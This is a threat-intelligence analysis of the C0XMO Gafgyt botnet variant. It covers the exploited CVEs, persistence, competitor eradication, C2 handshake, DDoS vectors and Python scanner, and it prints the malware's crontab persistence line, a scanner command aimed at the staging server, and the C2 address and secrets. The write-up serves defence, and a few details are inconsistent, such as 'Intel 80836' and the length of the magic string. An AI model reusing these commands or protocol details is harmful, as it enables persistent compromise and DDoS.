NEW ‘C0XMO’ BOTNET VARIANT WEAPONIZES PYTHON FOR SWIFT CROSS-PLATFORM EXPLOITATION

The internet of things (IoT) threat landscape continues to evolve away from crude, monolithic binaries toward highly modular, multi-architecture frameworks. A stark example of this evolution was uncovered by threat researchers in March 2026, when a sophisticated new variant of the long-standing Gafgyt botnet family—internally designated as C0XMO—was observed in the wild. While historical iterations of Gafgyt relied heavily on embedded architecture-specific routines for network scanning and lateral movement, C0XMO marks a tactical shift. It decouples its propagation engine from the core payload, using an independent Python framework to navigate cross-platform environments. This architectural shift significantly improves its efficiency in identifying, compromising, and recruiting heterogeneous Linux-based infrastructure into its distributed denial-of-service (DDoS) network.

The diagram above highlights how modern IoT operations use automated scanning layers to dispatch binaries to diverse hardware architectures. In the case of C0XMO, this lateral pipeline is heavily optimized. During its recent active deployment, the threat group behind C0XMO targeted a prominent technology firm based in Japan. However, network telemetry and threat intelligence tracking traced the origin of the attack infrastructure back to a source IP address located in Germany. Upon achieving initial access, the malware immediately drops its primary payload into the volatile directory /tmp/.cache. To maximize its reach across different target ecosystems, the operators built compiled binaries for an extensive array of Linux architectures. These include ARM, MC68000, MIPS R3000, PowerPC, SuperH, Intel 80836 (x86), and AMD64 (x86_64), ensuring that almost any embedded device, router, or enterprise server encountered during propagation can be successfully compromised.

Initial Access Mechanisms and Exploit Mechanics

The primary vector utilized by C0XMO for entry and downstream exploitation is CVE-2021-27137, a critical stack-based buffer overflow vulnerability residing within the Universal Plug and Play (UPnP) service of legacy DD-WRT router firmware versions (specifically those compiled prior to changeset 45723). The vulnerability manifests inside the Simple Service Discovery Protocol (SSDP) parser when handling inbound M-SEARCH requests—which are discovery messages used in UPnP network setups—transmitted over UDP port 1900. When an external attacker transmits a specially engineered M-SEARCH packet containing an excessively large ST:uuid: (Search Target Universally Unique Identifier) value, the target UPnP daemon fails to adequately bound-check the buffer length prior to copying it onto the stack. This oversight triggers an overflow condition that allows remote code execution (RCE), granting the threat actor complete, unauthorized administrative control over the underlying Linux operating system.

Beyond this initial foothold, the broader C0XMO propagation framework integrates a suite of web-layer exploits targeting diverse network appliances and enterprise content management systems. The modular exploit payload library includes targeting code for the widespread HNAP SOAP Injection vulnerability (CVE-2015-2051), which allows attackers to bypass security filters on legacy home routers via malicious Simple Object Access Protocol requests. It also incorporates exploit routines for GLPI htmLawed RCE (CVE-2022-35914), an exploit affecting the GLPI IT asset management tool where an insecure vendor library allows arbitrary PHP execution. The script further implements targeted exploits for AVTECH DVR vulnerabilities (CVE-2025-34054 and CVE-2016-15047), alongside custom payloads designed to execute arbitrary commands against NVMS-9000 digital video recorders, Zyxel SysTools administration panels, Systools command injection points, and generic broadband router components. Finally, the malware exploits exposed Android Debug Bridge (ADB) instances, identifying devices with unauthenticated debugging ports open to the public internet to establish persistent remote shells.

Four-Stage Persistence and Defensive Evasion

Once the primary bot.x86_64 binary (or its architecture-specific equivalent) executes on a newly compromised host, it initiates a strict four-stage local persistence setup designed to survive reboots, session terminations, and administrative audits. First, the process interrogates its own execution environment by reading the symbolic link /proc/self/exe to confirm its active path and verify it is running with the proper runtime configurations. Second, it creates an array of hidden files inside volatile and shared memory directories, specifically establishing path targets at /tmp/.sys, /var/tmp/.sys, and /dev/shm/.sys. If the current user environment includes an active home directory, it duplicates itself directly to $HOME/.sys. Every copied binary is then explicitly modified using a chmod 755 system call to grant it full read, write, and execute permissions.

(crontab -l 2>/dev/null | grep -v '%s'; echo '*/15 * * * %s >/dev/null 2>&1') | crontab -

The third stage handles auto-start configuration. The malware pipes existing crontabs out, strips references to its own keywords to prevent duplication, and appends a structured cron job scheduled to execute the hidden .sys payload every 15 minutes. Concurrently, it searches for interactive shell configuration scripts, appending execution strings directly to the tails of ~/.profile, ~/.bashrc, and ~/.bash_profile. The final stage implements a self-monitoring fallback loop: if the primary C0XMO daemon is killed or ungracefully terminated by an administrator, an inline signal handler triggers a fork routine that re-executes the malware binary from its hidden disk location, maintaining an unbroken hold on the host.

Defensive Counter-Measures and Competitor Eradication

To secure exclusive control over the compromised host’s computational and network resources, C0XMO carries out aggressive process cleanup operations. After completing its persistence setup, the binary cross-checks its own Process ID (PID) and active filename against the /proc filesystem to prevent accidental self-deletion. Once validated, it iterates through every numeric directory inside /proc to parse the command lines and process names of all running components. It compares these names against a hardcoded internal blacklist designed to neutralize four distinct categories of software: competing botnet malware, common network service applications, system programming tools, and offensive red team utilities. If a process name matches an entry on this blacklist, C0XMO invokes a kill signal to terminate it immediately.

Blacklist CategoryPrimary Target Signatures & Impacted Footprints
Botnet MalwareEradicates rival IoT daemons (e.g., Mirai, Mozi, older Gafgyt strains) to claim exclusive CPU resources.
Network Service AppsTargets alternative communication utilities that could expose the host or compete for open ports.
Programming ToolsTerminates active interpreters and compilation environments to disrupt debugging or on-device patching.
Red Team UtilitiesShuts down offensive security tools, scanning shells, or listener sessions launched by competing actors.

Following process termination, the malware checks the absolute executable storage paths of the killed binaries. If the file locations match known malicious directory patterns or temporary staging paths stored in its path blacklist, C0XMO issues an un-link command to erase the rival binaries from the disk. This defense mechanism is not limited to process termination; the bot actively scrubs configuration files across the operating system. It sweeps the host to purge competing cron jobs, sweeps out malicious entries inside /etc/rc.local, eliminates rogue services within /etc/init.d, drops malicious systemd unit files, and strips unauthorized startup commands from user shell profile scripts, leaving the host entirely dedicated to the C0XMO infrastructure.

Command and Control (C2) Infrastructure and Handshake Protocol

With local execution secured and competing threats removed, the malware opens a network socket to establish communication with its primary Command and Control (C2) server, located at the static IPv4 address 85.215.131.70. To blend in with legitimate traffic and prevent accidental registrations from honeypots or network security scanners, C0XMO uses a strict multi-tier custom handshake protocol. The sequence begins with the infected bot node transmitting a specific 22-character hexadecimal magic string: 669787761736865726500. Immediately following this magic string, the bot sends a long, static pre-shared authentication secret: FS2@SA__=A23cAxs3S3@23AF@A3454DFSA0D. The C2 infrastructure evaluates these parameters, and if they match exactly, it replies with the plaintext confirmation string: HANDSHAKE_OK.

Once this primary verification layer passes, the infected node must state its operational role within the wider botnet topology. The bot accomplishes this by transmitting the plaintext keyword BOT to the server, prompting the C2 to acknowledge the node registration by responding with a basic OK token. To conclude the cryptographic and registration exchange, the client transmits a final 5-byte hexadecimal sequence: FF FF FF FF 75. Upon receiving this final magic value, the C2 server returns a structured welcome message that signals the successful completion of the handshake. This moves the communication channel into an active listening state, ready to parse runtime directives from the command handler.

The Core Command Handler and 19-Vector DDoS Arsenal

The core runtime loop of C0XMO revolves around an asynchronous command handler that listens on the established C2 socket for incoming operational payloads. The handler supports five primary base directives: ping (which acts as a heartbeat mechanism, requiring the bot to instantly reply with a PONG string to confirm its online status), stop (to abort ongoing operations), scan (to initiate localized reconnaissance), stopscan (to halt the scanning engine), and a broad family of flood execution commands. The core capability of C0XMO is its highly diversified denial-of-service engine, which features 19 distinct attack subroutines engineered to exhaust target network capacity across the transport, network, and application layers:

  1. attack_udp_bypass: Tailored UDP flood designed to evade automated edge-filtering rules.
  2. attack_tcp_bypass: State-aware TCP packet transmission designed to bypass inline deep packet inspection (DPI).
  3. attack_tcp_udp_bypass: A hybrid, concurrent Layer 4 exhaustion technique targeting both protocols.
  4. attack_syn: Standard TCP SYN flood intended to exhaust the connection state tables of target firewalls.
  5. attack_vse: Valve Source Engine query amplification flood targeting gaming infrastructure ports.
  6. attack_discord2: Custom UDP voice packet simulation flood targeting Discord infrastructure endpoints.
  7. attack_fivem: Specialized game-server amplification attack vector targeting the FiveM multi-player platform.
  8. attack_ovh_tcp: TCP flood specifically tuned to overwhelm the edge mitigation rules of OVH hosting environments.
  9. attack_ovh_udp: Companion UDP mitigation bypass flood targeted at OVH data center boundaries.
  10. attack_hex: Data payload flood utilizing randomized or structured hexadecimal pattern streams.
  11. attack_ntp: Network Time Protocol reflection and amplification vector using open NTP daemons.
  12. attack_memcached: High-amplification Memcached protocol reflection flood utilizing exposed UDP port 11211 instances.
  13. attack_icmp: Standard ICMP Echo Request flood to saturate available symmetrical downstream bandwidth.
  14. attack_ping_of_death: Malformed ICMP fragmentation attack designed to destabilize network stacks.
  15. attack_http_storm: High-frequency Layer 7 HTTP request engine designed to overwhelm backend application pools.
  16. attack_http_io: Slow-rate I/O exhaustion flood (similar to Slowloris) designed to hold open server thread pools.
  17. attack_http_spoof: HTTP request flood integrating highly randomized or spoofed upstream source structures.
  18. attack_http_get: High-volume, rapid-fire HTTP GET request generation targeting specific uniform resource identifiers (URIs).
  19. attack_http_cfb: Advanced application-layer flood equipped with routines to bypass Cloudflare challenge walls.

Decoupled Architecture: The Python-Based Scanning Engine

The most significant architectural departure from legacy IoT malware design is C0XMO’s decision to decouple its lateral scanning capabilities from the compiled binary. When the main C0XMO instance receives a scan command, it downloads an independent Python script named scanner.py from the distribution node at 217.160.125[.]125:15527—the same server infrastructure utilized to stage and deliver the primary architecture-specific binaries. To ensure the script can run in any environment with a Python 3 interpreter, the malware forcefully manages local packages. It executes pip3 install or calls the underlying python3 -m pip module to install three foundational libraries: requests (for HTTP exploit delivery), paramiko (for programmatic, SSHv2-based interactions), and beautifulsoup4 (for scraping and parsing HTML responses during web exploitation phases). Crucially, the pip installation commands are appended with the --break-system-packages flag, allowing the malware to bypass modern PEP 668 restrictions that normally block global package installations on modern Linux distributions.

Once environment dependencies are satisfied, the malware spawns the scanning infrastructure using a specific, heavily parameterized execution string:

Bash

python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,8080,5555,5511,5554,4443,81,8000,7547,8081,8443,8888 --runtime X --server 217.160.125[.]125:15527

The script accepts arguments such as --rand to enable randomized public IP generation, and --rand-ports to define a wide array of target ports including Telnet (23), SSH (22), HTTP (80, 8080, 81, 8000, 8081), HTTPS (443, 4443, 8443, 8888), TR-069 (7547), and various Android/embedded interface ports (5555, 5511, 5554). The --runtime argument dictates the lifetime of the scanning cycle, while --server identifies the reporting and download location for staging downstream binaries.

The inner architecture of scanner.py contains roughly 22 specialized functions, logically grouped into six functional classes to drive its automated propagation pipeline:

  • Worker Class: Manages the orchestration layer. The core main routine instantiates the worker threads, which query subroutines like load_blacklist, expand_wildcard_range, expand_ip_range, and parse_complex_pattern to map out networks.
  • Blacklist Class: Implements preventative filtering via is_blacklisted, load_failed_ips, and add_failed_ip. This ensures the scanner does not target honeypots, research networks, or targets that failed in previous cycles, using a local blacklist.txt and failed.txt. The random_ip routine generates public destinations, while detect_arch analyzes target CPU setups during a compromise.
  • Telnet Class: Drives legacy weak-credential brute-forcing via telnet_login. If access is granted, it calls install_bot_telnet to execute terminal commands that download and run the appropriate C0XMO binary. It also includes is_ssh to safely pass handling to the appropriate module if a port changes roles.
  • SSH Class: Uses the paramiko library to drive brute-force attempts through ssh_login. Upon identifying a valid credential set, install_bot_ssh automates payload delivery and execution.
  • HTTP Exploit Class: Contains the web-vulnerability arsenal. It launches rapid verification checks through try_cves_fast and try_all_cves. Specialized functions automate individual payloads: exploit_password_leak, exploit_systools_rce, exploit_glpi_htmLawed, exploit_glpi_barcode, exploit_avtech, exploit_nvms9000, exploit_broadband, and exploit_zyxel_systools.
  • ADB Exploit Class: Contains the adb_exploit function, which connects directly to exposed Android Debug Bridge ports to drop the bot architecture onto Android-powered edge electronics.

Our Opinion on the C0XMO Case

The discovery of the C0XMO variant represents a significant shift in how threat actors build and deploy IoT botnets. Traditionally, malware families like Gafgyt and Mirai relied on monolothic binaries compiled for specific architectures. If an attacker wanted to update their scanning routines or add a new exploit, they had to rebuild and redeploy the entire suite of binaries across all supported platforms (ARM, MIPS, x86, etc.). By moving its lateral scanning and propagation engine entirely into a standalone Python script, C0XMO circumvents this limitation. The operators can now update their exploit array or modify scanning logic in a single Python script without needing to adjust the compiled core C2 and DDoS binaries. This greatly accelerates their development cycle.

Furthermore, this case underscores the ongoing risk of legacy, unpatched vulnerabilities in enterprise environments. The fact that an exploit from 2021 (CVE-2021-27137) remains highly effective for compromise highlights systemic failures in firmware patch management for embedded devices. Because edge hardware like routers and digital video recorders are often deployed and forgotten, they provide a long-term, stable attack surface for threat actors. By combining these older, unpatched edge vulnerabilities with modern python packages like paramiko and beautifulsoup4, C0XMO achieves a level of operational flexibility rarely seen in older IoT botnets. Organizations must look beyond simple endpoint protection on standard servers and implement strict network segmentation and configuration auditing across all embedded and IoT assets to defend against this modular approach to lateral movement.